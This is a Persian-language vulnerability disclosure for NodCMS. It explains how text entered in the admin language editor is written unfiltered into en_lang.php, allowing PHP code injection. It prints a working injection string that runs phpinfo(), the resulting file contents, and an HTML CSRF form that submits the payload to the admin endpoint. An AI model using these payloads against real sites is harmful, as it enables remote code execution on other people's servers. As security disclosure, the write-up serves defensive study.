NodCMS یک سیستم مدیریت محتوا چند زبانه است، ساخته شده است بر چارچوب PHP محبوب کدایگنایتر به توسعه برای مبتدیان و حرفه ای آسان تر است.

این سیستم مدیریت محتوای از یک آسیب پذیری تزریق کد PHP یا همان (PHP Code Execution) رنج می برد این آسیب پذیری کشف و ثبت گردید.

این آسیب پذیری در قسمت ویرایش تنظیمات زبان وجود دارد ، NodCMS این امکان را به کاربران می دهد که عبارات و کلمات به کار برده شده در زبان را ویرایش کنند.


    برای نمونه اطلاعات مربوط به عبارت و جملات زبان انگلیسی در محل زیر قرار دارند.
    nodcms-master\nodcms\language\english
    این اطلاعات در دو فایل زیر قرار دارند.
    backend_lang.php
    en_lang.php

    ابتدا وارد قسمت زبان ها (Languages) می شویم و با کلیک بر روی چرخ دهنده (برای نمونه زبان انگلیسی) گزینه ی Edit language (en_lang.php) را انتخاب می کنیم و در صفحه ی باز شده می توانیم عبارات مختلف را ویرایش نماییم.

    اما چگونه از آسیب پذیری برای تزریق کد های PHP خود استفاده کنیم؟

    برای درک موضوع فایل en_lang.php را باز می کنیم و نحوه ی قرار گرفتن عبارات رو مشاهده می کنیم.

    چندین خط از فایل (en_lang.php) :

    <?php
    $lang["Get More Information"] = "Get More Information";
    $lang["All"] = "All";
    $lang["Read Info"] = "Read Info";
    $lang["Contact us"] = "Contact us";
    $lang["Login"] = "Login";
    $lang["Sign Up"] = "Sign Up";
    $lang["Home"] = "Home";
    $lang["Please Fill Require Fealds"] = "Please Fill Required Fields";
    $lang["Map"] = "Map";
    $lang["Contact form"] = "Contact form";
    $lang["Full Name"] = "Full Name";
    $lang["Email address"] = "Email address";
    $lang["Subject"] = "Subject";
    $lang["Request"] = "Request";

    خوب می بینید تمامی عبارات در آرایه ی lang قرار گرفته هستند و مثلا برای Key مربوط به Get More Information مقدار Get More Information قرار گرفته است ، اما اگر ما از طریق صفحه ی ویرایش تنظیمات این مقدار را تغییر دهیم در این فایل نیز این مقدار تغییر می کند.

    در اینجا من از قسمت تنظیمات عبارت Get More Information را به Hello Vulnerability تغییر دادم و دوباره فایل رو مشاهده می کنیم.

    <?php
    $lang["Get More Information"] = "Hello Vulnerability";
    $lang["All"] = "All";

    می بینید که مقدار Get More Information به Hello Vulnerability تغییر کرد ، خوب تا اینجا که مشکلی وجود نداره ولی ما می تونیم اقدام به بایپس کنیم و عبارت وارد شده رو اجرا کنیم برای درک بهتر کد زیر رو ببنید.

    $lang["Get More Information"] = "Hello Vulnerability";

    Hello Vulnerability یک عبارتی هست که ما وارد می کنیم اگر بیایم و عبارت زیر در تنظیمات به جای Hello Vulnerability وارد کنیم برنامه بدون هیچ فیلتری اونو قرار میده در نتیجه کد ما با موفقیت اجرا میشه.

    "; phpinfo(); echo "Test


    وقتی این عبارت رو در تنظیمات وارد کنید ، می بینید که اجرا میشه اما چرا دلیلش این در فایل en_lang.php هست ، این فایل رو مجدد باز کنید به دلیل می رسید.

    <?php
    $lang["Get More Information"] = ""; phpinfo(); echo "Test";

    می بینید که عبارت وارده بدون فیلتر در فایل en_lang.php قرار گرفت در کد ما اجرا شد.

    ار اونجایی که این سیستم مدیریت محتوا آسیب پذیری CSRF هم داره می تونید این آسیب پذیری رو با استفاده از Exploit Code زیر جعل نمایید.

    <form method="post" action="http://localhost/nodcms-master/admin/edit_lang_file/1/en">
    <input name="data[]" type="text" value='";phpinfo();echo "Code Injected'>
    <input type="submit" value="Submit">
    </form>

    منابع :

    https://www.exploit-db.com/exploits/40723/
    https://cxsecurity.com/issue/WLB-2016110045
    http://www.nodcms.com/

    با تشکر

    یا علی(ع)